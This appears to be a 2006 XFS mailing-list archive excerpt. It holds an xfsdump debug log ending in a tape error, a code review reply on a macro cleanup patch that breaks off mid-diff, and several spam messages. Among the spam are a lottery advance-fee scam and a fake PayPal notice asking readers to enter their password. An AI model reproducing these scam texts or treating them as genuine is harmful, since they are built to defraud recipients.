stack size soft limit from 0x800000 to 0x2000000 xfsdump: RLIMIT_STACK new cur 0x2000000 max 0xffffffffffffffff xfsdump: RLIMIT_DATA org cur 0xffffffffffffffff max 0xffffffffffffffff xfsdump: RLIMIT_FSIZE org cur 0xffffffffffffffff max 0xffffffffffffffff xfsdump: RLIMIT_FSIZE now cur 0xffffffffffffffff max 0xffffffffffffffff xfsdump: RLIMIT_CPU cur 0xffffffffffffffff max 0xffffffffffffffff xfsdump: RLIMIT_CPU now cur 0xffffffffffffffff max 0xffffffffffffffff xfsdump: INTGENMAX == 2147483647 (0x7fffffff) xfsdump: UINTGENMAX == 4294967295 (0xffffffff) xfsdump: OFF64MAX == 9223372036854775807 (0x7fffffffffffffff) xfsdump: OFFMAX == -1 (0x7fffffff) xfsdump: SIZEMAX == 4294967295 (0xffffffff) xfsdump: INOMAX == 4294967295 (0xffffffff) xfsdump: TIMEMAX == 2147483647 (0x7fffffff) xfsdump: SIZE64MAX == 18446744073709551615 (0xffffffffffffffff) xfsdump: INO64MAX == 18446744073709551615 (0xffffffffffffffff) xfsdump: UINT64MAX == 18446744073709551615 (0xffffffffffffffff) xfsdump: INT64MAX == 9223372036854775807 (0x7fffffffffffffff) xfsdump: UINT32MAX == 4294967295 (0xffffffff) xfsdump: INT32MAX == 2147483647 (0x7fffffff) xfsdump: INT16MAX == 32767 (0x7fff) xfsdump: UINT16MAX == 65535 (0xffff) xfsdump: getpagesize( ) returns 4096 xfsdump: parent pid is 7297 xfsdump: effective user id is 0 xfsdump: using scsi tape (drive_scsitape) strategy xfsdump: tty fd: 0; terminal interrupt character:  (03) xfsdump: version 2.2.38 (dump format 3.0) - Running single-threaded xfsdump: fs /export uuid [d59b77df-6e56-49b7-856d-7c2bacb7c57a] xfsdump: creating directory /var/lib/xfsdump xfsdump: resume range stream 0 ino 0:0 to end xfsdump: WARNING: most recent level 0 dump was interrupted, but not resuming that dump since resume (-R) option not specified xfsdump: level 0 dump of npa:/export xfsdump: dump date: Wed Oct 18 09:56:01 2006 xfsdump: session id: 77440a1f-d61f-4315-9e12-ccd096fa858e xfsdump: session label: "/export" xfsdump: ino map phase 1: constructing initial dump list xfsdump: bulkstat iteration initiated: start_ino == 0 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 128 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 2230883 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 2785347 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 3588899 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 4113891 xfsdump: ino 4540232 needed second bulkstat xfsdump: ino 4545271 needed second bulkstat xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 5375201 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 7842945 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 9222497 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 9736641 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 75575268 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 76707332 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 77242663 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 77422823 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 78178664 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 79292758 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 80733591 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 83899577 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 84257849 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 136783452 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 137734076 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 141140476 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 141728988 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 142489212 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 143249328 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 143281968 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 143936176 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 145334544 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 145775696 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 201680272 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 208763379 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 209858739 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 210436659 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 211180467 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 214054426 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 215593183 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 216111071 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 217291263 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 273758656 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 274418496 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 277780772 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 278588324 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 279454859 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 284168267 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 284755275 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 285215467 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 285503627 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 337274924 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 338171052 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 339546220 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 340043340 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 340992265 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 342762057 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 343076495 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 344008943 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 344511183 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 345227919 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 420142481 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 420809489 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 421786033 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 422572785 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 423664947 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 424436998 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 426447494 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 427601286 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 475055112 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 477004168 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 477632424 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 479016360 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 479412040 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 480766906 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 483064993 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 483435617 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 485800065 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 486061025 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 547300066 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 548584128 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 549429280 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 549713856 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 550381568 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 551134178 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 551933346 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 552581890 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 603979939 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 608241813 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 609062421 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 609567061 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 610336085 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 610596469 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 612194039 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 617336539 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 617982715 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 618639227 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 672791504 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 675193712 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 677938608 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 678411024 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 678710193 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 679546549 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 682810133 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 683599925 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 685319189 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 685606325 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 766982390 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 767990806 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 770229430 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 771004374 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 774490396 xfsdump: calling bulkstat ... xfsdump: bulkstat returns buflen 4096 ino 1018623604 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4011 ino 1019807284 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 0 xfsdump: ino map phase 2: skipping (no pruning necessary) xfsdump: ino map phase 3: skipping (only one dump stream) xfsdump: bulkstat iteration initiated: start_ino == 0 xfsdump: calling bulkstat xfsdump: bulkstat returns buflen 4096 ino 128 xfsdump: ino map construction complete xfsdump: estimated dump size: 81317119424 bytes xfsdump: estimated dump header size: 19318112 bytes xfsdump: estimated component sizes: global hdr: 1337006139379712 bytes, inomap: 81616060935045120 bytes, dir entries: 734544548415406080 bytes, file hdrs: 16395459996558557184 bytes, datasz: 578909639576387602 bytes xfsdump: drive op: init xfsdump: drive op: sync xfsdump: Media op: begin media file xfsdump: drive op: begin read xfsdump: preparing drive xfsdump: tape op: opening drive xfsdump: tape op: get status xfsdump: tape status = bot onl xfsdump: tape op: get block size info xfsdump: max=1048576 cur=0 xfsdump: variable block size tape drive at /dev/st0 xfsdump: tape op: get block size info xfsdump: max=1048576 cur=0 xfsdump: recommended tape media file size set to 0x7fffffffffffffff bytes xfsdump: recommended tape media mark separation set to 0x1000000 bytes xfsdump: determining tape record size: trying 1048576 (0x100000) bytes xfsdump: tape op: get status xfsdump: tape status = bot onl xfsdump: tape positioned at BOT: doing redundant rewind xfsdump: tape op: rewind 0 xfsdump: tape op: get status xfsdump: tape status = bot onl xfsdump: tape op: reading 1048576 bytes xfsdump: tape op read of 1048576 bytes failed: errno == 16 (Device or resource busy) xfsdump: tape op: get status xfsdump: tape status = onl xfsdump: ERROR: unexpected tape error: errno 16 nread -1 blksz 1048576 recsz 1048576 isvar 1 wasatbot 1 eod 0 fmk 0 eot 0 onl 1 wprot 0 ew 0 xfsdump: ERROR: unexpected error from do_begin_read: 10 xfsdump: content.c: 2291: mlog_exit called: exit_code: FAULT return: CORE (fatal error - core dumped) xfsdump: dump size (non-dir files) : 0 bytes xfsdump: NOTE: dump interrupted: 1 seconds elapsed: may resume later using -R option xfsdump: content.c: 2731: mlog_exit_hint called: hint: INTERRUPT (dump interrupted) xfsdump: main.c: 621: mlog_exit called: exit_code: FAULT return: UNKNOWN (unknown error) xfsdump: closing inventory stream 0: interrupted xfsdump: content.c: 5593: mlog_exit_hint called: hint: INTERRUPT (dump interrupted) xfsdump: Dump Status: INTERRUPT . From owner-xfs@oss.sgi.com Wed Oct 18 04:52:04 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 18 Oct 2006 04:52:14 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9IBq2aG010472 for ; Wed, 18 Oct 2006 04:52:04 -0700 X-ASG-Debug-ID: 1161167998-9143-15-1 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from fjhuazhou.com (unknown [58.60.137.202]) by cuda.sgi.com (Spam Firewall) with ESMTP id A0DE14AE7B4 for ; Wed, 18 Oct 2006 03:39:59 -0700 (PDT) From: zcxx@fjhuazhou.com X-ASG-Orig-Subj: =?GB2312?B?MDbQwrDksrzLsLeoo6E=?= Subject: =?GB2312?B?MDbQwrDksrzLsLeoo6E=?= To: xfs@oss.sgi.com Content-Type: text/plain;charset="GB2312" Date: Wed, 18 Oct 2006 18:40:04 +0800 X-Priority: 2 X-Mailer: FoxMail 3.11 Release [cn] Message-Id: <20061018103959.A0DE14AE7B4@cuda.sgi.com> X-Barracuda-Spam-Score: 1.25 X-Barracuda-Spam-Status: No, SCORE=1.25 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=MSGID_FROM_MTA_ID, NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23530 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.55 NO_REAL_NAME From: does not include a real name 0.70 MSGID_FROM_MTA_ID Message-Id for external message added locally X-archive-position: 9341 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: zcxx@fjhuazhou.com Precedence: bulk X-list: xfs Status: O TO£º¹ó¹«Ë¾¸ºÔðÈË£¨¾­Àí/²ÆÎñ£©£º ÎÒ˾ÉϺ£ÐÅ´ï˰Îñ´úÀíÓÐÏÞ¹«Ë¾ÊÇ2002Äê8Ô¾­ÉϺ£ÊвÆÕþ¾ÖÅú×¼£¨Ðí¿É֤Ϊ»¦²Æ×Ö10068ºÅ£©¡¢ ¹¤ÉÌ×¢²áµÇ¼Ç£¨»¦³¤Ë¾×ÖN00832¡¢×¢²áºÅ4403012093658£©³ÉÁ¢µÄ˰Îñ´úÀí¹«Ë¾£¨È«¹ú¸÷´óÖгÇÊоùÓÐ ·Ö¹«Ë¾£©£¬ÎÒ˾±¾×Å»¥»Ý»¥ÀûµÄÔ­ÔòºÏÀí¶ÔÍâ´ú¿ª·¢Æ±£¬´ú¿ª·¶Î§£º¹ú˰£¨ÆÕͨÉÌÆ·ÏúÊÛ£©¡¢µØË°£¨½¨ Öþ°²×°¡¢ÔËÊäµçÄÔ°æ¡¢¹ã¸æ¡¢·þÎñ×Éѯ¡¢¼Ó¹¤ÐÞÀíÐÞÅä¡¢×âÁÞ¡¢²ÍÒû¶¨¶î¡¢ÆäËü·þÎñ£©µÈרÏî·¢Æ±ÌØ»Ý ˰µã¶ÔÍâ´ú¿ª¡£Èç¹ó˾ÔÚ×öÕÊ»ò½øÏî·½ÃæÓÐÐèÒªµÄ£¬ÎÒ˾¿ÉÌṩȫ·½Î»µÄ·þÎñ£¬Òà¿É¸ù¾ÝËù¿ª¾ÝÊýÁ¿½ð ¶îµÄ´óСÀ´ºâÁ¿ÓŻݵĵãÊý£¬»¶Ó­À´µçǢ̸£¡ Èç¹ó˾ÔÚ·¢Æ±µÄÕæÎ±·½ÃæÓÐÈκÎÒÉÂÇ£¬¿ÉÉÏÍø²éѯÑéÖ¤»òÎÒ˾ֱ½ÓÅÉÈËÓë¹ó˾ͬȥ˰Îñ²¿ÃÅÑéÃ÷È·ÈÏ ºóÔÙ¸¶¿î£¨ÏÈÓÃÆ±ºó¸¶¿î£©¡£ Çë±£ÁôÎÒµÄÁªÏµ·½Ê½£º µç»°£º13715138002 £¨ÁÖС½ã£© MSN:gdsd.com@hotmail.com µØÖ·£º ÉϺ£Êг¤ÄþÇøÉ´óÏà E-mail:gdsd.com@163.com From owner-xfs@oss.sgi.com Wed Oct 18 06:35:43 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 18 Oct 2006 06:35:53 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9IDZeaG022367 for ; Wed, 18 Oct 2006 06:35:42 -0700 X-ASG-Debug-ID: 1161174149-8837-56-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ctsmtpsr2.chevrontexaco.com (ctsmtpsr2.chevrontexaco.com [146.27.122.11]) by cuda.sgi.com (Spam Firewall) with ESMTP id 830BA4B1FF4 for ; Wed, 18 Oct 2006 05:22:29 -0700 (PDT) Received: from chvpkntmf3.chvpk.chevrontexaco.net (chvpkntmf3.chvpk.chevrontexaco.net [146.27.125.193]) by ctsmtpsr2.chevrontexaco.com (Switch-3.1.2/Switch-3.1.2) with ESMTP id Y9IC0M7EN00005F1C for ; Wed, 18 Oct 2006 05:22:09 -0700 X-WSS-ID: 6928C3E33T44482822-01-02 Date: Wed, 18 Oct 2006 05:22:01 -0700 From: no-reply@chevron.com To: linux-xfs@oss.sgi.com Message-ID: <6928C3E33T44482823-01@EMF_chvpk.chevrontexaco.net> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_-==6928C3E33T4510511==-_" X-ASG-Orig-Subj: Chevron Email Firewall Alert Subject: Chevron Email Firewall Alert X-Barracuda-Spam-Score: 0.55 X-Barracuda-Spam-Status: No, SCORE=0.55 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23536 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.55 NO_REAL_NAME From: does not include a real name X-archive-position: 9342 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: no-reply@chevron.com Precedence: bulk X-list: xfs Status: O --_-==6928C3E33T4510511==-_ Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Your message with subject Mail System Error - Returned Mail sent on 10/18/06, 05:22:00 contained one or more attachments not allowed by Chevron and was blocked. If you did not send such an email, your email address may have been spoofed. In this case, no further action is required on your part and you may disregard this message. For more details on spoofing, please visit http://messaging.chevrontexaco.com/html/spam/spooffaq.asp. --_-==6928C3E33T4510511==-_-- From owner-xfs@oss.sgi.com Wed Oct 18 09:07:43 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 18 Oct 2006 09:08:02 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9IG7gaG020445 for ; Wed, 18 Oct 2006 09:07:42 -0700 X-ASG-Debug-ID: 1161182961-28621-403-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from sccrmhc15.comcast.net (sccrmhc15.comcast.net [204.127.200.85]) by cuda.sgi.com (Spam Firewall) with ESMTP id B733FD190498 for ; Wed, 18 Oct 2006 07:49:22 -0700 (PDT) Received: from smailcenter72.comcast.net ([204.127.205.172]) by comcast.net (sccrmhc15) with SMTP id <2006101814485301500mc7sqe>; Wed, 18 Oct 2006 14:49:21 +0000 Received: from [172.210.129.70] by smailcenter72.comcast.net; Wed, 18 Oct 2006 14:48:53 +0000 From: isellprod@comcast.net (UNITED SECURITIES AND FINANCE) X-ASG-Orig-Subj: Final Sucess Alert( Confirmation Required Immediately) Subject: Final Sucess Alert( Confirmation Required Immediately) Date: Wed, 18 Oct 2006 14:48:53 +0000 Message-Id: <101820061448.10271.45363ED20001E1710000281F22007504380B019D9F04040A9C07@comcast.net> X-Mailer: AT&T Message Center Version 1 (Apr 11 2006) X-Authenticated-Sender: aXNlbGxwcm9kQGNvbWNhc3QubmV0 X-Barracuda-Spam-Score: 0.32 X-Barracuda-Spam-Status: No, SCORE=0.32 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=ADVANCE_FEE_1, MISSING_HEADERS, TO_CC_NONE X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23540 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.19 MISSING_HEADERS Missing To: header 0.13 TO_CC_NONE No To: or Cc: header 0.00 ADVANCE_FEE_1 Appears to be advance fee fraud (Nigerian 419) To: undisclosed-recipients:; X-archive-position: 9343 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: isellprod@comcast.net Precedence: bulk X-list: xfs Status: O Final Sucess Alert( Confirmation Required Immediately) Lucky No: 425448/7785 YOUR WINNING DETAILS Ref No: CHN/2551256007/11 Batch No: 14/0017/IPD serial No: GMLA2-003 Ticket No: 12033. Attn: Lottery Winner, We are pleased to inform you of the result of the staatsloterij.nl lottery programs held on 10th of October 2006 with your e-mail address attached to one of the winning ticket numbers. You have therefore been approved for a lump sum pay out of €1, 000,000.00 (One Million euros). CONGRATULATIONS!!! All participants were selected through a computer ballot system from our sponsors databases, including over 50,000 companies and 150,000 individual E-mail addresses and names submitted by our agents drawn from Asia, Africa, Europe, North And South America and around the world. To begin your claim, do file for the release of your winning by contacting our accredited agent: Mr. Dean Maxwell Foreign Transfer Manager, Tel:+ 31-847-255-628 Mobile:+44-702-406-8565. Fax:+ 31-633-773-375 Email:mrdeanmaxwell@yahoo.de NOTE: All winnings must be notarized to complete the claim process; winners will be referred to a Foreign Transfer Manager, to have their winnings notarized, all winners are to cover the legal charges not STAATSLOTERIJ. NL,Please note that you will be required to pay for the issuance of your winning certificate and all winnings must be claimed not later than 20th of OCTOBER 2006,after this date all unclaimed winnings will be null and void. In Order to avoid unnecessary delays and complications remember to quote your reference number and batch numbers in all correspondence. Furthermore, should there be any change of address do inform our agents as soon as possible. Congratulations once more and thank you for being part of our promotional program. Note: Anybody under the age of 18 is automatically disqualified. Yours faithfully Mrs.Erica Van . Contact your claims agent. N.B. Any breach of confidentiality on the part of the winners will result to disqualification. Please do not reply to this mail. CONFIDENTIAL NOTICE: This email message, including any attachments, is intended only for the use of the intended recipient(s) and may contain information that is privileged, confidential and prohibited from unauthorized disclosure under applicable law. If you are not the intended recipient of this message, any dissemination, distribution or copying of this message is strictly prohibited. If you received this message in error, please notify the sender by reply email and destroy all copies of the original message. Contact your claims agent. Copyright 1994-2006 Netherlands Lottery Board.All rights reserved. Terms of Service - Guideline 77635 476378 255667460 From owner-xfs@oss.sgi.com Wed Oct 18 09:07:43 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 18 Oct 2006 09:08:06 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9IG7gaG020442 for ; Wed, 18 Oct 2006 09:07:43 -0700 X-ASG-Debug-ID: 1161183904-8314-411-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ams006.lax.affinity.com (ams.lax.affinity.com [207.150.192.20]) by cuda.sgi.com (Spam Firewall) with ESMTP id CAAA4D1952FD for ; Wed, 18 Oct 2006 08:05:04 -0700 (PDT) Received: from [172.16.5.138] ([172.16.5.138]:23762 "HELO web014.ahp01.lax.affinity.com") by ams006.lax.affinity.com with SMTP id S372034AbWJRPFE (ORCPT ); Wed, 18 Oct 2006 08:05:04 -0700 Received: by web014.ahp01.lax.affinity.com (sSMTP sendmail emulation); Wed, 18 Oct 2006 08:05:03 -0700 From: "fmsboston.org" Date: Wed, 18 Oct 2006 08:05:03 -0700 To: xfs@oss.sgi.com X-ASG-Orig-Subj: You've Added an Additional Email Address Subject: You've Added an Additional Email Address MIME-Version: 1.0 Message-Id: <20060309113857.3940.qmail@paragonfcu.org> Content-Type: text/html Content-Transfer-Encoding: 8bit X-Barracuda-Spam-Score: 0.39 X-Barracuda-Spam-Status: No, SCORE=0.39 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=HTML_TAG_BALANCE_BODY, MIME_HTML_ONLY X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23543 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.39 HTML_TAG_BALANCE_BODY BODY: HTML has unbalanced "body" tags 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts X-archive-position: 9344 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: fmsbosto@web014.ahp01.lax.affinity.com Precedence: bulk X-list: xfs Status: O PayPal
PayPal
Protect Your Account Info

To learn more about protecting yourself from fraud, visit the Security Center. Click "Security Center" on the bottom of any PayPal page
Protect Your Password
You should never give your PayPal password to anyone.
You have successfully added a new email address to your PayPal account


You've added an additional email address to your PayPal account.

But you're not done yet!

You must click the link below and enter your password on the following page to confirm this email address.

Mime-Version: 1.0 X-Mailer: Evolution 2.8.0-1mdv2007.0 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23551 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9345 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: cattelan@thebarn.com Precedence: bulk X-list: xfs Status: O --=-KJIyv+dAKFYNNReoTdXg Content-Type: text/plain Content-Transfer-Encoding: quoted-printable This change doesn't seem to do anything? The existing macros already handle the types correctly, are named such that it's obvious as to their purpose, so it doesn't seem to make the code clearer. This is also putting linux defined macros into the common code and thereby creating more frustrations for the other XFS ports. On Wed, 2006-10-18 at 16:27 +0530, Amol Lad wrote: > Incroporated comments from Christoph Hellwig >=20 > Cleanups done to use min/max macros from kernel.h. Handcrafted MIN/MAX > macros are changed to use macros in kernel.h >=20 > Tested using allmodconfig >=20 > Signed-off-by: Amol Lad > --- > Christoph,=20 >=20 > I'm going on vacation. If you have more comments, I'll take them after I > come back after 5 days.. >=20 > Thanks > --- > xfs_alloc.c | 24 +++++++++++------------- > xfs_bmap.c | 32 ++++++++++++++------------------ > xfs_btree.h | 29 ----------------------------- > xfs_inode.c | 2 +- > xfs_iomap.c | 2 +- > xfs_rtalloc.c | 16 ++++++++-------- > xfs_rtalloc.h | 3 --- > 7 files changed, 35 insertions(+), 73 deletions(-) > --- > diff -uprN -X linux-2.6.19-rc2-orig/Documentation/dontdiff linux-2.6.19-r= c2-orig/fs/xfs/xfs_alloc.c linux-2.6.19-rc2/fs/xfs/xfs_alloc.c > --- linux-2.6.19-rc2-orig/fs/xfs/xfs_alloc.c 2006-10-18 09:29:18.00000000= 0 +0530 > +++ linux-2.6.19-rc2/fs/xfs/xfs_alloc.c 2006-10-18 16:13:44.000000000 +05= 30 > @@ -151,11 +151,11 @@ xfs_alloc_compute_diff( > if (newbno1 >=3D freeend) > newbno1 =3D NULLAGBLOCK; > else > - newlen1 =3D XFS_EXTLEN_MIN(wantlen, freeend - newbno1); > + newlen1 =3D min_t(xfs_extlen_t, wantlen, freeend - newbno1); > if (newbno2 < freebno) > newbno2 =3D NULLAGBLOCK; > else > - newlen2 =3D XFS_EXTLEN_MIN(wantlen, freeend - newbno2); > + newlen2 =3D min_t(xfs_extlen_t, wantlen, freeend - newbno2); > if (newbno1 !=3D NULLAGBLOCK && newbno2 !=3D NULLAGBLOCK) { > if (newlen1 < newlen2 || > (newlen1 =3D=3D newlen2 && > @@ -686,7 +686,7 @@ xfs_alloc_ag_vextent_exact( > * End of extent will be smaller of the freespace end and the > * maximal requested end. > */ > - end =3D XFS_AGBLOCK_MIN(fend, maxend); > + end =3D min_t(xfs_agblock_t, fend, maxend); > /* > * Fix the length according to mod and prod if given. > */ > @@ -850,7 +850,7 @@ xfs_alloc_ag_vextent_near( > args->alignment, args->minlen, > <bnoa, <lena)) > continue; > - args->len 